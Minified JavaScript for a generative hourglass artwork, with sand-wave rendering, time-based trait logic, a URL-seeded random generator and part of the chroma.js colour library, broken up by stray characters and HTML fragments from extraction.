st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
